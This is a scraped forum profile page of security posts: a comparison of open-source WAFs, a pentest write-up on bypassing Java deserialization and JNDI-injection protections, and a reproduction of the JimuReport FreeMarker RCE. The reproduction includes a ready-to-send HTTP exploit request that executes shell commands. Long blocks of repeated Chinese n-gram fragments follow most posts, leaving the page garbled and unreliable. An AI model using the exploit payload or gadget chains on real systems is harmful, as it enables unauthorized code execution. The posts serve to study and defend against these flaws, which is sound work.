跳转到帖子

雨后的温暖

版主
  • 注册日期

  • 上次访问

  1. WAF是Web Application Firewall的缩写,也称为Web应用防火墙。与传统防火墙不同,WAF工作在应用层,对基于HTTP/HTTPS协议的Web系统有更好的防护效果,保护其免受黑客攻击。 开源WAF和商业WAF(如奇安信、绿盟科技、长亭、安恒等)肯定是有区别的。商业WAF一般是成熟的网站流量安全解决方案,而开源WAF更像是台式电脑的CPU。它为你提供了核心计算能力和核心实现,但整体解决方案如何构建完全取决于玩家个人的做法。 **以下是社区中最流行的开源WAF项目。 (按GitHub 星数排序)** #雷ChiWAF社区版 官方介绍:一个足够简单、足够好用、足够强大的免费WAF。基于业界领先的语义引擎检测技术,充当反向代理,保护您的网站免受黑客攻击。 雷驰拥有较高的社会认可度。其优点是性能好、保护能力强。其缺点是控制台不适合手机,出门在外时管理不方便。 在所有WAF中,最值得推荐的是雷驰。据说一套雷驰企业版可以卖到上百万。社区版复用了企业版的防护能力,并具有安全能力保障。这也是雷驰社区版发布不久就在GitHub上火爆的主要原因。 - GitHub: https://github.com/chaitin/SafeLine - 星级:8021星 #ModSecurity ModSecurity是一个经典的WAF开源项目,已经流行多年。 准确的说,ModSecurity并不是一个“WAF”,而是一个“WAF规则集”。 ModSecurity 是大多数WAF 的基础基石。不包含其他WAF常见的网站管理、日志管理等功能。它甚至根本没有界面。 ModSecurity 只有保护规则。 ModSecurity 不适合直接使用。需要进行一些定制二次开发才可以使用。入门门槛很高。 - Github: https://github.com/owasp-modsecurity/ModSecurity - 星级:7327 颗星 #SouthWallWAF 官方介绍:一款社区驱动的免费、高性能、高扩展性的顶级Web应用和API安全防护产品。 南强WEB应用防火墙是友安科技推出的一款综合性网站防护产品。它是通过友安科技专有的WEB入侵异常检测等技术,结合友安科技团队多年的应用安全攻防理论和应急响应实践经验自主研发的。 目前南强与飞智云有合作,可以通过1panel一键部署。使用起来比较方便。最大的问题是目前不支持升级,每次更新都得卸载重装。 - GitHub: https://github.com/Safe3/uuWAF - 星级:435星 #HTTPWAF 官方介绍:httpwaf是一款永久免费的Web应用防火墙,也是最好的waf。 HTTPWAF是基于HTTP协议的WAF,可以识别并阻止HTTP流量中的恶意请求。 HTTPWAF 是可以安装在Web 服务器前面以拦截和检查Web 应用程序流量的软件。它使用规则引擎来识别恶意请求并阻止它们,并且可以针对不同的应用程序和安全需求定制这些规则。 HTTPWAF相对封闭,公开信息不多,也没有开源代码。从唯一的资料和网上演示来看,功能比较齐全,但产品品质不高。 - GitHub: https://github.com/httpwaf/httpwaf2.0 - 星: 87星 #宝塔WAF 官方介绍:2分钟即可安装,配置后立即看到效果。如果您知道如何建立网站,则可以使用它。 宝塔WAF的前身是宝塔面板中的Nginx防火墙。上手简单,适合技术不是很强的新手用户。可以提供比较基础的保护作用。缺点是功能过于复杂,每个点不够深入。 宝塔WAF的整体项目质量其实还不错,达到了中上水平,满足了新手用户的基本需求。不过,GitHub 用户对于安全性有更专业的需求,所以GitHub 上的star 也只有几十个。 - GitHub: https://github.com/aaPanel/BT-WAF - 星级:34星 的缩 缩写 的缩写 也称 称为 也称为 应用 用防 防火 火墙 应用防 用防火 防火墙 应用防火 用防火墙 与传 传统 统防 墙不 不同 与传统 传统防 统防火 火墙不 墙不同 与传统防 传统防火 统防火墙 防火墙不 火墙不同 工作 作在 在应 用层 工作在 作在应 在应用 应用层 工作在应 作在应用 在应用层 对基 基于 对基于 协议 议的 协议的 系统 统有 有更 更好 好的 的防 防护 护效 效果 系统有 统有更 有更好 更好的 好的防 的防护 防护效 护效果 系统有更 统有更好 有更好的 更好的防 好的防护 的防护效 防护效果 保护 护其 其免 免受 受黑 黑客 客攻 攻击 保护其 护其免 其免受 免受黑 受黑客 黑客攻 客攻击 保护其免 护其免受 其免受黑 免受黑客 受黑客攻 黑客攻击 开源 和商 商业 和商业 如奇 奇安 安信 如奇安 奇安信 如奇安信 绿盟 盟科 科技 绿盟科 盟科技 绿盟科技 长亭 安恒 恒等 安恒等 肯定 定是 是有 有区 区别 别的 肯定是 定是有 是有区 有区别 区别的 肯定是有 定是有区 是有区别 有区别的 一般 般是 是成 成熟 熟的 的网 网站 站流 流量 量安 安全 全解 解决 决方 方案 一般是 般是成 是成熟 成熟的 熟的网 的网站 网站流 站流量 流量安 量安全 安全解 全解决 解决方 决方案 一般是成 般是成熟 是成熟的 成熟的网 熟的网站 的网站流 网站流量 站流量安 流量安全 量安全解 安全解决 全解决方 解决方案 而开 而开源 更像 像是 是台 台式 式电 电脑 脑的 更像是 像是台 是台式 台式电 式电脑 电脑的 更像是台 像是台式 是台式电 台式电脑 式电脑的 它为 为你 你提 提供 供了 了核 核心 心计 计算 算能 能力 力和 和核 心实 实现 它为你 为你提 你提供 提供了 供了核 了核心 核心计 心计算 计算能 算能力 能力和 力和核 和核心 核心实 心实现 它为你提 为你提供 你提供了 提供了核 供了核心 了核心计 核心计算 心计算能 计算能力 算能力和 能力和核 力和核心 和核心实 核心实现 但整 整体 体解 案如 如何 何构 构建 建完 完全 全取 取决 决于 于玩 玩家 家个 个人 人的 的做 做法 但整体 整体解 体解决 方案如 案如何 如何构 何构建 构建完 建完全 完全取 全取决 取决于 决于玩 于玩家 玩家个 家个人 个人的 人的做 的做法 但整体解 整体解决 体解决方 决方案如 方案如何 案如何构 如何构建 何构建完 构建完全 建完全取 完全取决 全取决于 取决于玩 决于玩家 于玩家个 玩家个人 家个人的 个人的做 人的做法 以下 下是 是社 社区 区中 中最 最流 流行 行的 的开 以下是 下是社 是社区 社区中 区中最 中最流 最流行 流行的 行的开 的开源 以下是社 下是社区 是社区中 社区中最 区中最流 中最流行 最流行的 流行的开 行的开源 项目 星数 数排 排序 星数排 数排序 星数排序 区版 社区版 官方 方介 介绍 官方介 方介绍 官方介绍 一个 个足 足够 够简 简单 一个足 个足够 足够简 够简单 一个足够 个足够简 足够简单 够好 好用 足够好 够好用 足够好用 够强 强大 大的 的免 免费 足够强 够强大 强大的 大的免 的免费 足够强大 够强大的 强大的免 大的免费 于业 业界 界领 领先 先的 的语 语义 义引 引擎 擎检 检测 测技 技术 基于业 于业界 业界领 界领先 领先的 先的语 的语义 语义引 义引擎 引擎检 擎检测 检测技 测技术 基于业界 于业界领 业界领先 界领先的 领先的语 先的语义 的语义引 语义引擎 义引擎检 引擎检测 擎检测技 检测技术 充当 当反 反向 向代 代理 充当反 当反向 反向代 向代理 充当反向 当反向代 反向代理 护您 您的 站免 保护您 护您的 您的网 网站免 站免受 保护您的 护您的网 您的网站 的网站免 网站免受 站免受黑 雷驰 驰拥 拥有 有较 较高 高的 的社 社会 会认 认可 可度 雷驰拥 驰拥有 拥有较 有较高 较高的 高的社 的社会 社会认 会认可 认可度 雷驰拥有 驰拥有较 拥有较高 有较高的 较高的社 高的社会 的社会认 社会认可 会认可度 其优 优点 点是 是性 性能 能好 其优点 优点是 点是性 是性能 性能好 其优点是 优点是性 点是性能 是性能好 护能 力强 保护能 护能力 能力强 保护能力 护能力强 其缺 缺点 是控 控制 制台 台不 不适 适合 合手 手机 其缺点 缺点是 点是控 是控制 控制台 制台不 台不适 不适合 适合手
  2. 文章长度:0太短了,请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源
  3. 文章长度:0太短了,请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源
  4. 文章长度:0太短了,请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源
  5. 文章长度:0太短了,请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源
  6. 文章长度:0太短了,请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源
  7. 文章长度:0太短了,请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源
  8. ## JDK原生反序列化漏洞的发现和绕过过程 最近的一个渗透项目中,通过nmap扫描了一个Jetty服务。 使用dirsearch扫描路径`/metrics/`,但是之后就找不到了。 从客户提供的Windows账户使用RDP登录,找到开放该端口的服务,使用Everything找到一个zip安装包,拖回来进行安装分析。 安装时,我注意到有一个设置代理的选项。将其设置为我打嗝的地址,并等待稍后可能发生的惊喜。 安装完成后,为其添加调试参数,然后将依赖的jar包导入到IDEA中进行调试。选择一些感兴趣的调试点开始调试。 ### 1.通过设置代理,发现反序列化端点(从客户端) 起初,我主要想找到`/metrics/` 背后的内容,所以我尝试了随机GET 和POST 请求。 请求响应完成后,并没有结束。我在burp中看到这样的记录。 序列化对象通过http 请求在网络上传输。 于是我先将POST body直接设置为ysoserial/Urldns.jar(检测小工具)的payload,但是dnslog中没有任何响应。我想如果反序列化成功的话,至少应该有检测Windows/Linux的记录。可以看到发送的检测payload没有反序列成功。 同时,我注意到burp的响应中有一个看起来像Exception的stackTrace。 (但是,屏幕截图显示了命令行输入错误的情况) 通过在客户端代码中设置适当的断点,找到发起HTTP请求的地方,复制下来,用Java代码构造请求。 ### 2.观察请求/响应,设置正确的数据格式,输出服务器异常 由于当时我已经有了客户端依赖的jar包,所以我在IDEA中搜索了返回的响应类:`ResponseMessage`。 在客户端找到这个类。所以readObject恢复响应对象,然后取出里面的Exception对象并打印stackTrace。 ```` ResponseMessage 响应消息=readResponse(connection.getInputStream()); System.out.println(responseMessage); responseMessage.getException().printStackTrace(); ```` 通过分析异常栈我们知道,对于客户端请求的序列化数据,服务端并不是直接将其反序列化为对象,而是先读取一个Integer类型,然后根据这个Integer值读取后续这个大小的字节,然后进行反序列化。 所以我在发送之前修改了它。 ### 3.反序列化小工具检测 最近正好在学习Jackson + Spring-aop这个小工具,所以就干脆先试试这个。庆幸的是,这次终于成功进入了反序列化利用流程。 虽然服务器没有spring-aop依赖。 此处不使用Urldns.jar 进行小工具检测。既然我们已经获得了客户端的依赖jar,那么我们就可以先分析一下这里有什么好东西。或许服务器端也是类似这样的。 经过分析,我们得到这样的结果: - jython(没有此依赖项) - Commons-Collections(版本是系列2,已修复,关键类不再可序列化) - Groovy(版本2.4.21,已修复) - commons-fileupload(版本1.3.3,已修复) - Commons-Beanutils(没有1 个系列,只有2 个) 注意,根据客户端的推测,服务器端使用的是commons-beanutils2。 https://github.com/melloware/commons-beanutils2 奇怪我以前没见过,github上0星。但快速浏览了一下,发现关键的小工具仍然存在,只是包名变了。 修改包名,在本地测试,发现可以用。 构建payload并发送给服务器后,报了这样的错误: ```` java.lang.UnsupportedOperationException: 启用Java 安全性时,将禁用对反序列化TemplatesImpl 的支持。这可以通过将jdk.xml.enableTemplatesImplDeserialization 系统属性设置为true 来覆盖。 在java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.readObject(TemplatesImpl.java:270) `` 当我看到这个时,我只想将这个属性`jdk.xml.enableTemplatesImplDeserialization`覆盖为true。后来发现这其实是因为SecurityManager开启了。参考[本文](https://c0d3p1ut0s.github.io/%E6%94%BB%E5%87%BBJava%E6%B2%99%E7%AE%B1/)并尝试了各种绕过但失败。其策略是比较严格的。 ### 4.从反序列化到JNDI注入 分析不依赖Commons-Collections 的CommonsBeanutils2 小工具。 ```` java.util.PriorityQueue#readObject . java.util.Comparator#compare org.apache.commons.beanutils2.BeanComparator#compare org.apache.commons.beanutils2.PropertyUtils#getProperty . Xxx#getYyy()(条件:可序列化,使用空参数的getter方法) com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties(现有) ```` TemplatesImpl这里使用的getOutputProperties是使用最广泛的getter,因为它存在于jdk中,并且可以自定义任何类,并且可以通过各种方式进行扩展(内存马等),但这条路目前被堵住了。您必须更改为单独的getter。我忘记在哪里看到的了。据说在各种dataSource中getConnection()然后使用jdbc url是很方便的。但经检测,服务器没有postgresql、mysql、h2等数据库驱动,只有Oracle。所以我放弃了jdbc url路径。 最后找到了`oracle.jdbc.rowset.OracleCachedRowSet#getConnection`,可以通过getter方法将反序列化转为JNDI注入。 从之前的报错中我们已经知道服务器使用了更高版本的jdk,所以我们要思考如何绕过JNDI注入限制。 绕过限制的方法主要有两种: - 1.使用反序列化 - 2.使用本地javax.naming.spi.ObjectFactory中的javax.naming.Reference来携带payload 但不考虑反序列化,否则JNDI注入将无法转移。 对象工厂?看看目标环境有什么?首先想到的当然是Tomcat自带的著名的`forceString`属性,依赖于`org.apache.naming.factory.BeanFactory`中的Reference。只需要找到一个接受单个String类型参数的方法就可以完成RCE。方法名称没有限制。千兰大师总结了很多(ELProcessor、Groovy等)。如果你很有钱的话就不用担心这个问题。您需要担心的是Tomcat版本是否在范围内。因为Tomcat7没有添加这个功能,而更高版本的Tomcat(9.0.63、8.5.79)则删除了这个功能。 [这里](https://bz.apache.org/bugzilla/show_bug.cgi?id=65736)讨论了删除`forceString` 函数的官方讨论, [这里](https://github.com/apache/tomcat/blob/9.0.63/java/org/apache/naming/factory/BeanFactory.java)可以看到9.0.63确实删除了forceString功能。 不放弃吗?只要在本地尝试一下就知道了。 服务器版本是什么? 直接发个包,让服务器报错: 9.0.64是修复版本。 因此,forceString 的简单路径不再可用。 可用选项: - 1.(反序列化getter)从反序列化getter转来的。既然不行,那试试其他的getter方法怎么样? - 2.(JNDI注入setter)这条路被堵住了,因为像xyz(String Payload)这样的方法不能使用,但是setAbc(String Payload)有没有好的恶意方法呢? ### 5. 没有forceString:反序列化getter/JNDI 注入setter? 通过研究2022年北京网络安全大会上@青蓝的《探索JNDI攻击》,我知道虽然forceString不能用于执行RCE,但仍然有其他方法可以执行敏感操作。 他在ppt中介绍了使用commons-configuration(2)/groovy + tomcat-jdbc.jar实现System.setProperty()的效果。 让我明白一下,这里的原理是首先找到一个特殊的ObjectFactory:`org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory`(tomcat-jdbc.jar)。与org.apache.naming.factory.BeanFactory(catalina.jar)相比,它支持调用类中的所有方法,包括静态方法,只要以set开头即可。并且`org.apache.naming.factory.BeanFactory`根据属性找到对应的setter方法(只有当属性abc存在时才会调用方法setAbc(String value))。如果我的理解有什么错误,请指正。 附加`org.apache.naming.factory.BeanFactory`: `org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory`: 另一个特殊类是“org.apache.commons.configuration2.SystemConfiguration”(commons-configuration2-*.jar) 或“org.apache.commons.configuration.SystemConfiguration”(commons-configuration-*.jar)。 其setSystemProperties方法可以设置系统属性,即 ```` 系统.setProperty() ```` setSystemProperties方法接收一个名为`fileName`的String类型参数,但实际上最终会构造成一个URL对象,所以不仅可以传入本地文件,还可以传入网络请求, 这样我们就可以在我们控制的Web服务器上放一个文件,内容是每行一个 ```` 键=值 ```` 想想之前TemplatesImpl的失败,不就是因为`jdk.xml.enableTemplatesImplDeserialization`系统属性导致的吗?我在这里发现了一个机会,所以我先改变了这个属性。 我满心欢喜地再次发送了有效负载,却再次收到此错误: 嗯,还不错。至少说明设置系统属性的小工具是有效的。 该系统属性已被更改,但仍然无法成功利用。还有其他值得更改的系统属性吗? ### 6. 应用程序启动后,System.setProperty() 能否绕过JNDI 注入限制? 回想千兰大师在ppt中提到的,可以尝试修改这两个系统属性作为JNDI注入缓解措施: ```` com.sun.jndi.ldap.object.trustURLCodebase=true com.sun.jndi.rmi.object.trustURLCodebase=true ```` 继续测试。 修改后发现使用JNDIExploit的`/Basic/Command/`依然不成功。于是我尝试在本地搭建环境,看看是否真的能成功。 我先使用Spring环境尝试一下(实际上是java-sec-code): 关键点是这个类:`com.sun.naming.internal.VersionHelper` 在加载Class时,会判断其私有静态最终属性“TRUST_URL_CODE_BASE”的值。只有当它为true 时,才能从远程URL 中拉取该类。当第一次加载此类时,将根据当时的系统属性“com.sun.jndi.ldap.object.trustURLCodebase”分配该值。因此,即使我们稍后在代码中将系统属性设置为true,“TRUST_URL_CODE_BASE”也将不再从系统属性中获取值。所以我们不必急于使用它。 从下图可以看出,spring-boot启动时会加载这个类: 起初,我以为只有spring-boot 才会出现这种情况。我们的目标环境是tomcat,实际情况可能不是这样。之后我又在tomcat环境下进行了测试。 发现使用JNDI注入而不绕过`/Basic/Command/`仍然失败。仍然落在这个“TRUST_URL_CODE_BASE”上。 为了让我们能够观察到该属性被赋值的时刻,调试参数也设置为`server=y,suspend=y`。 调用堆栈是: ```` 原生 生反 反序 序列 列化 化漏 漏洞 洞的 的发 发现 现和 和绕 绕过 过过 过程 原生反 生反序 反序列 序列化 列化漏 化漏洞 漏洞的 洞的发 的发现 发现和 现和绕 和绕过 绕过过 过过程 原生反序 生反序列 反序列化 序列化漏 列化漏洞 化漏洞的 漏洞的发 洞的发现 的发现和 发现和绕 现和绕过 和绕过过 绕过过程 最近 近的 的一 一个 个渗 渗透 透项 项目 目中 最近的 近的一 的一个 一个渗 个渗透 渗透项 透项目 项目中 最近的一 近的一个 的一个渗 一个渗透 个渗透项 渗透项目 透项目中 通过 扫描 描了 了一 扫描了 描了一 了一个 扫描了一 描了一个 服务 使用 描路 路径 扫描路 描路径 扫描路径 但是 是之 之后 后就 就找 找不 不到 到了 但是之 是之后 之后就 后就找 就找不 找不到 不到了 但是之后 是之后就 之后就找 后就找不 就找不到 找不到了 从客 客户 户提 提供 供的 从客户 客户提 户提供 提供的 从客户提 客户提供 户提供的 账户 户使 账户使 户使用 账户使用 登录 找到 到开 开放 放该 该端 端口 口的 的服 找到开 到开放 开放该 放该端 该端口 端口的 口的服 的服务 找到开放 到开放该 开放该端 放该端口 该端口的 端口的服 口的服务 到一 找到一 到一个 找到一个 安装 装包 安装包 拖回 回来 来进 进行 行安 装分 分析 拖回来 回来进 来进行 进行安 行安装 安装分 装分析 拖回来进 回来进行 来进行安 进行安装 行安装分 安装分析 装时 安装时 我注 注意 意到 到有 有一 个设 设置 置代 代理 理的 的选 选项 我注意 注意到 意到有 到有一 有一个 一个设 个设置 设置代 置代理 代理的 理的选 的选项 我注意到 注意到有 意到有一 到有一个 有一个设 一个设置 个设置代 设置代理 置代理的 代理的选 理的选项 将其 其设 置为 为我 我打 打嗝 嗝的 的地 地址 将其设 其设置 设置为 置为我 为我打 我打嗝 打嗝的 嗝的地 的地址 将其设置 其设置为 设置为我 置为我打 为我打嗝 我打嗝的 打嗝的地 嗝的地址 并等 等待 待稍 稍后 后可 可能 能发 发生 生的 的惊 惊喜 并等待 等待稍 待稍后 稍后可 后可能 可能发 能发生 发生的 生的惊 的惊喜 并等待稍 等待稍后 待稍后可 稍后可能 后可能发 可能发生 能发生的 发生的惊 生的惊喜 装完 完成 成后 安装完 装完成 完成后 安装完成 装完成后 为其 其添 添加 加调 调试 试参 参数 为其添 其添加 添加调 加调试 调试参 试参数 为其添加 其添加调 添加调试 加调试参 调试参数 然后 后将 将依 依赖 赖的 然后将 后将依 将依赖 依赖的 然后将依 后将依赖 将依赖的 包导 导入 入到 包导入 导入到 包导入到 中进 行调 中进行 进行调 行调试 中进行调 进行调试 选择 择一 一些 些感 感兴 兴趣 趣的 的调 试点 点开 开始 始调 选择一 择一些 一些感 些感兴 感兴趣 兴趣的 趣的调 的调试 调试点 试点开 点开始 开始调 始调试 选择一些 择一些感 一些感兴 些感兴趣 感兴趣的 兴趣的调 趣的调试 的调试点 调试点开 试点开始 点开始调 开始调试 过设 通过设 过设置 通过设置 过设置代 现反 化端 端点 发现反 现反序 列化端 化端点 发现反序 现反序列 序列化端 列化端点 户端 客户端 从客户端 起初 我主 主要 要想 想找 我主要 主要想 要想找 想找到 我主要想 主要想找 要想找到 背后 后的 的内 内容 背后的 后的内 的内容 背后的内 后的内容 所以 以我 我尝 尝试 试了 了随 随机 所以我 以我尝 我尝试 尝试了 试了随 了随机 所以我尝 以我尝试 我尝试了 尝试了随 试了随机 请求 求响 响应 应完 请求响 求响应 响应完 应完成 请求响应 求响应完 响应完成 应完成后 并没 没有 有结 结束 并没有 没有结 有结束 并没有结 没有结束 我在 中看 看到 到这 这样 样的 的记 记录 中看到 看到这 到这样 这样的 样的记 的记录 中看到这 看到这样 到这样的 这样的记 样的记录 化对 对象 象通 列化对 化对象 对象通 象通过 序列化对 列化对象 化对象通 对象通过 求在 在网 网络 络上 上传 传输 请求在 求在网 在网络 网络上 络上传 上传输 请求在网 求在网络 在网络上 网络上传 络上传输 于是 是我 我先 先将 于是我 是我先 我先将 于是我先 是我先将 直接 接设 直接设 接设置 直接设置 接设置为 检测 测小 小工 工具 检测小 测小工 小工具
  9. ## 1. 漏洞复现 这里使用的漏洞环境是vulhub的jeect-boot。射击场的描述是这样的: 存在以下Jimureport组件库,出现RCE漏洞是因为未授权的API /jmreport/queryFieldBySql使用freemarker解析SQL语句。 ```` POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1 主机: 127.0.0.1:8080 用户代理:curl/7.88.1 接受: */* 内容类型: 应用程序/json 内容长度: 121 连接:关闭 { \'sql\': \'#assign ex=\\\'freemarker.template.utility.Execute\\\'?new()${ex(\\\'touch /tmp/success\\\')}\', \'类型\': \'0\' } `` ## 2.漏洞跟踪分析 这里的漏洞环境是使用jeecg-boot 3.5.3环境搭建的。可以从github下载,配置mysql和redis数据库,然后使用idea开始调试。 ### 拦截路线 从JimuReportConfiguration.class我们可以看到jimu报告为以下路由设置了拦截器: ```` \'/jmreport/queryFieldBySql\' \'/jmreport/loadTableData\', \'/jmreport/dictCodeSearch\' ```` ### 入口点路由(/queryFieldBySql) 你可以在这个位置的a.class中找到他的具体代码 首先从json解析出sql,并将这个变量的参数放入i.a(var2)中执行。关注: 可以发现它是用于sql注入拦截的,和waf一样存在。继续往下 这里执行,传入var2,var3,var4,var5 它们是json中传递的参数: ```` sql 数据库源 参数数组 类型 ```` 但payload中传递的东西只有:sql和type=0(这里的type内容可以是任何内容,但必须有类型,可以为空,但必须插入) 然后继续`Map var12=this.reportDbService.parseReportSql(var2, var3, var4, var5);` 这里传入的var2是: ```` #分配ex=\'freemarker.template.utility.Execute\'?new()${ex(\'open -a Calculator.app\')} `` 继续跟进,就不用看类型了,因为不影响。直接看sql 这里进来的是第二条sql,因为paramArray为null 我们在f.a 中断并继续跟进。这里实现了rce 这里var0=b(var0, var1);返回不变,没有变化,来到var0=a(var2, var0); 然后在a中,调用:`var1=FreeMarkerUtils.a(var1, var2);` ### Freemarker 调用点 继续此处“FreeMarkerUtils.a” 这里执行命令:`(new Template(\'template\', new StringReader(var0), var2)).process(var1, var3);` 跟踪流程 然后继续跟踪进程,从getRootTreeNode进入 来到进入this.doAutoImportsAndIncludes(this); 继续跟进env.getMainTemplate(); ### 初始化模板命令执行 这里的功能主要是`调用自动导入和包含功能` ```` 该环境对象具有许多处理模板的呈现和执行的属性和方法。这些属性和方法包括配置、根数据模型(rootDataModel)、指令栈(instructionStack)、异常处理程序(templateExceptionHandler)等。 在给定的代码中,我看到模板字符串\'#assign ex=\'freemarker.template.utility.Execute\'?new()${ex(\'open -a Calculator.app\')}\' 的定义。这里使用FreeMarker模板语法来定义一个变量ex,并用它来调用系统命令open -a Calculator.app。 ```` 然后进入并继续跟踪。这里我们看到this.visit 被调用了。访问的主要目的是访问元素。 这里的元素是创建一个新模板。 (后续访问也会反复调用自己,从反射调用类到获取命令) 这里可以看到TemplateElement类型变量中,valueExp为:`freemarker.template.utility.Execute\'?new()` ```` \'freemarker.template.utility.Execute\'?new()是FreeMarker模板语法中的一个使用方法,用于执行系统命令。通过这种方式,攻击者可以在受影响的应用程序上执行操作系统命令,并可能导致潜在的安全问题。 `` 而继续跟踪可以看到el的内容变成了`${ex(\'open -a Calculator.app\')}` 它一方面创建一个可以执行命令的模板,另一方面将要执行的命令分离出来,继续调用自己 这里的变量内容是 调用自身后,会返回到这个函数的accept方法 然后这里调用了eval,刚刚传入的 具体执行这里的命令: ```` ConstantValue={SimpleScalar@19070} \'freemarker.template.utility.Execute\' 值=\'freemarker.template.utility.Execute\' ```` 继续追踪,我们来到了eval中的this._eval(env),并且在_eval中调用了ConstructorFunction,这是一个反射调用。 ```` freemarker.template.utility.Execute `` 反射后,创建一个新对象 ### 获取传入最终执行的命令 那么具体要执行哪些命令呢? (之前只是分析了执行命令类部分) 当他访问调用自己时,他终于来到了accept方法, 如果继续追踪,你会发现终于来到了Runtime.getRuntime().exec(aExecute); 命令成功执行 最后附上执行命令的整体流程 ## 3. 总结 这个漏洞其实并没有什么罕见的。主要是跟踪,最后就可以找到rce的触发点了。同时不仅有freemarker的rce,还有sql注入点,可以在没有授权的情况下直接执行sql语句。也许你可以穿透mysql,通过mysql控制服务器。 这里我只是执行并创建一个用户: 不过在后续的版本中,官方也在此处添加了权限设置。以前,这里允许未经授权的访问。转载自先知社区:https://xz.aliyun.com/t/13224?time__1311=mqmxnDBD9AqQq405DIYYK0%3DTi%3DEZew0O0bDalichlgref=https%3A%2F%2Fxz.aliyun.com%2Ftab%2F4 作者:cmrex 漏洞 洞复 复现 漏洞复 洞复现 漏洞复现 这里 里使 使用 用的 的漏 洞环 环境 境是 这里使 里使用 使用的 用的漏 的漏洞 漏洞环 洞环境 环境是 这里使用 里使用的 使用的漏 用的漏洞 的漏洞环 漏洞环境 洞环境是 射击 击场 场的 的描 描述 述是 是这 这样 样的 射击场 击场的 场的描 的描述 描述是 述是这 是这样 这样的 射击场的 击场的描 场的描述 的描述是 描述是这 述是这样 是这样的 存在 在以 以下 存在以 在以下 存在以下 组件 件库 组件库 出现 洞是 是因 因为 为未 未授 授权 权的 漏洞是 洞是因 是因为 因为未 为未授 未授权 授权的 漏洞是因 洞是因为 是因为未 因为未授 为未授权 未授权的 解析 语句 主机 用户 户代 代理 用户代 户代理 用户代理 接受 内容 容类 类型 内容类 容类型 内容类型 应用 用程 程序 应用程 用程序 应用程序 容长 长度 内容长 容长度 内容长度 连接 关闭 洞跟 跟踪 踪分 分析 漏洞跟 洞跟踪 跟踪分 踪分析 漏洞跟踪 洞跟踪分 跟踪分析 里的 是使 这里的 里的漏 境是使 是使用 这里的漏 里的漏洞 环境是使 境是使用 境搭 搭建 建的 环境搭 境搭建 搭建的 环境搭建 境搭建的 可以 以从 可以从 下载 配置 数据 据库 数据库 然后 后使 然后使 后使用 然后使用 开始 始调 调试 开始调 始调试 开始调试 拦截 截路 路线 拦截路 截路线 拦截路线 我们 们可 以看 看到 我们可 们可以 可以看 以看到 我们可以 们可以看 可以看到 报告 告为 为以 下路 路由 由设 设置 置了 了拦 截器 报告为 告为以 为以下 以下路 下路由 路由设 由设置 设置了 置了拦 了拦截 拦截器 报告为以 告为以下 为以下路 以下路由 下路由设 路由设置 由设置了 设置了拦 置了拦截 了拦截器 入口 口点 点路 入口点 口点路 点路由 入口点路 口点路由 你可 以在 在这 这个 个位 位置 置的 你可以 可以在 以在这 在这个 这个位 个位置 位置的 你可以在 可以在这 以在这个 在这个位 这个位置 个位置的 中找 找到 到他 他的 的具 具体 体代 代码 中找到 找到他 到他的 他的具 的具体 具体代 体代码 中找到他 找到他的 到他的具 他的具体 的具体代 具体代码 首先 先从 首先从 析出 解析出 并将 将这 个变 变量 量的 的参 参数 数放 放入 并将这 将这个 这个变 个变量 变量的 量的参 的参数 参数放 数放入 并将这个 将这个变 这个变量 个变量的 变量的参 量的参数 的参数放 参数放入 中执 执行 中执行 关注 以发 发现 现它 它是 是用 用于 可以发 以发现 发现它 现它是 它是用 是用于 可以发现 以发现它 发现它是 现它是用 它是用于 注入 入拦 截的 注入拦 入拦截 拦截的 注入拦截 入拦截的 一样 样存 一样存 样存在 一样存在 继续 续往 往下 继续往 续往下 继续往下 里执 这里执 里执行 这里执行 传入 它们 们是 它们是 中传 传递 递的 中传递 传递的 递的参 中传递的 传递的参 递的参数 库源 据库源 数据库源 数数 数组 参数数 数数组 参数数组 的东 东西 西只 只有 递的东 的东西 东西只 西只有 传递的东 递的东西 的东西只 东西只有 容可 以是 是任 任何 何内 内容可 容可以 可以是 以是任 是任何 任何内 何内容 内容可以 容可以是 可以是任 以是任何 是任何内 任何内容 但必 必须 须有 有类 但必须 必须有 须有类 有类型 但必须有 必须有类 须有类型 以为 为空 可以为 以为空 可以为空 须插 插入 必须插 须插入 但必须插 必须插入 后继 然后继 后继续 然后继续 里传 入的 这里传 里传入 传入的 这里传入 里传入的 分配 续跟 跟进 继续跟 续跟进 继续跟进 就不 不用 用看 看类 型了 就不用 不用看 用看类 看类型 类型了 就不用看 不用看类 用看类型 看类型了 为不 不影 影响 因为不 为不影 不影响 因为不影 为不影响 直接 接看 直接看 里进 进来 来的 的是 是第 第二 二条 这里进 里进来 进来的 来的是 的是第 是第二 第二条 这里进来 里进来的 进来的是 来的是第 的是第二 是第二条 们在 我们在 中断 断并 并继 中断并 断并继 并继续 中断并继 断并继续 并继续跟 里实 实现 现了 这里实 里实现 实现了 这里实现 里实现了 返回 回不 不变 返回不 回不变 返回不变 没有 有变 变化 没有变 有变化 没有变化 来到 后在
